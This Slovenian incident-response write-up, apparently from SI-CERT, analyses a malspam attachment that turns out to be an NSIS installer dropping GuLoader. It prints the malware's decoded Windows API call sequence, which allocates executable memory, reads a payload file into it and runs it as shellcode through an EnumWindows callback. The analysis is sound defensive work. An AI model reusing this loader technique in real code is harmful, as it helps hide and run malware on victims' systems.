Na SI-CERT smo pred kratkim prejeli prijavo neobičajnega sporočila, ki ga prejemnik ni pričakoval:
Vsebina sporočila prejemnika nagovarja k odprtju priloge, ki pa je zelo verjetno zlonamerna. Analiza zaglavja je pokazala, da je naslov pošiljatelja ponarejen. Takšna sporočila se pogosto širijo v masovnih t.i. malspam kampanjah, katerih cilj je čimveč prejemnikov prepričati v odprtje priponke, s čimer pride do okužbe sistema z računalniškim virusom. Poglejmo, kaj se skriva v tej priponki, in kako se okužba izvede.
Osnovna analiza
Sporočilo vsebuje eno priponko:
Name: ZAHTEVA ZA PONUDBO_09-11-2022·pdf.zip
Size: 565819 bytes (552 KiB)
SHA256: b4772c743595f7f84f1359509014e24015ef0ff964f86d1e5a75dbb646a0ba60
Gre za arhivsko datoteko tipa ZIP, ki vsebuje izvršljivo .exe datoteko :
Name: ZAHTEVA ZA PONUDBO_09-11-2022·pdf.exe
Size: 703296 bytes (686 KiB)
SHA256: ee280a6eb0a3a0d581a67e2d91ed356e5598795836c2ef8379b635dbbfd65b00
Za hiter pregled osnovnih značilnosti izvršilnih datotek v PE formatu (Portable Executable) lahko uporabimo orodje CFF Explorer:
Zaenkrat nas zanimajo le osnovne informacije. Vidimo, da gre za 32 bitno PE datoteko, brez kakšnih posebnosti. Orodje Strings, ki v binarnih datotekah išče nize znakov, prikaže nekaj zanimivih nizov:
V izpisu se večkrat pojavi niz »NSIS«, kar kaže na to, da gre za namestitveno datoteko vrste Nullsoft Scriptable Install System. NSIS je prosto dostopno orodje za enostavno izdelavo namestitvenih datotek za Windows sisteme, ki ga uporabljajo mnogi distributerji programske opreme.
Dodatno v manifestu aplikacije znotraj PE virov pridobimo še verzijo »Nullsoft Install System v3.02«:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
NSIS skripta
NSIS nameščevalniki so ustvarjeni s pomočjo namenske skripte, ki vsebuje atribute (npr. tip kompresije podatkov) in ukaze za izvedbo namestitve. Ta skripta se pri ustvarjanju nameščevalnika prevede v binarno obliko in skupaj s stisnjenim datotekam shrani v končni nameščevalnik (PE izvršljiva datoteka). V končni datoteki lahko najdemo začetek prevedene skripte, ki je zaznamovana z magično številko 0xDEADBEEF.
Za analizo NSIS nameščevalnik ni potrebno analizirati celotne izvršljive PE datoteke, ampak zgolj binarno kodo NSIS skripte. Z orodjem 7-Zip lahko iz NSIS nameščevalnikov pridobimo datoteke, starejše verzije 7-Zip pa podpirajo tudi razstavljanje binarnih NSIS skript (ta funkcionalnost je bila sicer odstranjena v verziji 15.06), kar nam omogoči, da pridobimo berljivo skripto.
Če uporabimo 7-Zip verzijo 15.05, lahko pridobimo datoteke in razstavljeno NSIS skripto (.nsi).
Pri prevajanju skripte se sicer določene informacije izgubijo, zato z razstavljanjem ne pridobimo povsem originalne skripte, vendar pa pridobljena skripta povsem zadostuje za namen analize. Hitro opazimo, da vsebuje veliko odvečnih ukazov (branje in shranjevanje nepomembnih datotek ali registrskih ključev, zanke, ki ne storijo nič ipd.). Glavni del skripte lahko poenostavimo v naslednje ukaze (za podpičji se nahajajo naši komentarji):
SetOutPath $APPDATA\Beset\Fraughan\Phototypography ; Nastavi pot za shranjevanje |
Skripta najprej shrani dve datoteki v mapo %APPDATA%\Beset\Fraughan\Phototypography, nato v zanki bere znake iz datoteke Refulge131.Uds130 in jih dodaja v niz (spremenljivka $str). Znake začne brati na odmiku 9755 in v vsaki iteraciji poveča odmik za 22. Branje v zanki konča, ko prebere znak ‘j’, nato izvede System::Call, s katerim procesira in izvrši funkcijo v spremenljivki $str. Nato se zanka ponovi. System::Call se uporablja za klicanje oz. izvajanje zunanjih funkcij v strojni (angl. native) kodi.
Ker z orodjem 7-ZIp lahko pridobimo tudi datoteke nameščevalnika, lahko zgornjo kodo emuliramo. S preprosto Python skripto pridobimo naslednje funkcije, ki se izvedejo z ukazom System::Call:
kernel32::CreateFileA(m r4 , i 0x80000000, i 0, p 0, i 4, i 0x80, i 0)i.r5
kernel32::SetFilePointer(i r5, i 98 , i 0,i 0)i.r3
kernel32::VirtualAlloc(i 0,i 0x101000, i 0x3000, i 0x40)p.r1
kernel32::ReadFile(i r5, i r1, i 0x101000,*i 0, i 0)i.r3
user32::EnumWindows(i r1 ,i 0)
System::Call uporablja posebno sintakso. Če poenostavimo klice, pridobimo slednje:
$5 = kernel32::CreateFileA($4, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)
$3 = kernel32::SetFilePointer(handle@$5, 98, NULL, FILE_BEGIN)
$1 = kernel32::VirtualAlloc(NULL, 0x101000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
$3 = kernel32::ReadFile(handle@$5, allocatedmem@$1, 0x101000, NULL, NULL)
user32::EnumWindows(allocatedmem@$1, NULL)
Skripta torej kliče nekatere Windows API funkcije. Najprej odpre datoteko (Uopsigeligheden.Bla – pot je navedena v spremenljivki $4, glej v poenostavljeni zgornji skripti), nato postavi kazalec datoteke na mesto 98, zatem dodeli pomnilnik velikosti 0x101000 in vanj zapiše vsebino datoteke (Uopsigeligheden.Bla) ter na koncu še pokliče funkcijo EnumWindows s prvim parametrom nastavljenim na naslov dodeljenega pomnilnika.
Zadnji klic je na prvi pogled nekoliko nenavaden. Zakaj bi uporabili funkcijo, namenjeno enumeraciji namiznih oken in nato zaključili izvajanje? Razlog se skriva v delovanju funkcije EnumWindows. V dokumentaciji je prvi parameter opisan kot povratni klic (angl. callback), ki je uporabljen za procesiranje vsakega namiznega okna. Prvi parameter torej vsebuje naslov funkcije oz. strojne kode, ki se bo izvedla za vsako okno (enumeracija se konča, če povratni klic vrne FALSE). Tak način uporabe funkcij s povratnimi klici za izvajanje strojne kode v pomnilniku oz. lupinske kode (angl. shellcode) se zaradi svoje preprostosti pogosto uporablja v zlonamerni kodi. Poleg tega Windows API vsebuje veliko takšnih funkcij in jih je zato težje zaznati z dinamično analizo, če si pri analizi pomagamo s prekinitvenimi točkami.
Za analizo nadaljnje kode, ki jo izvrši API klic EnumWindows, lahko uporabimo razstavljalec (angl. disassembler) Ghidra. Dosedanja analiza je torej pokazala, da gre ne gre zgolj za neko preprosto lupinsko kodo, ampak prenašalnik znan pod imenom GuLoader. Njegov namen je prenos zašifriranega tovora, katerega na sistemu odšifrira in izvrši. Poleg tega pa vsebuje mnogo metod, ki otežijo tako statično kot dinamično analizo. Podrobnejša analiza GuLoader prenašalnika sledi v enem od naslednjih tehničnih zapisov.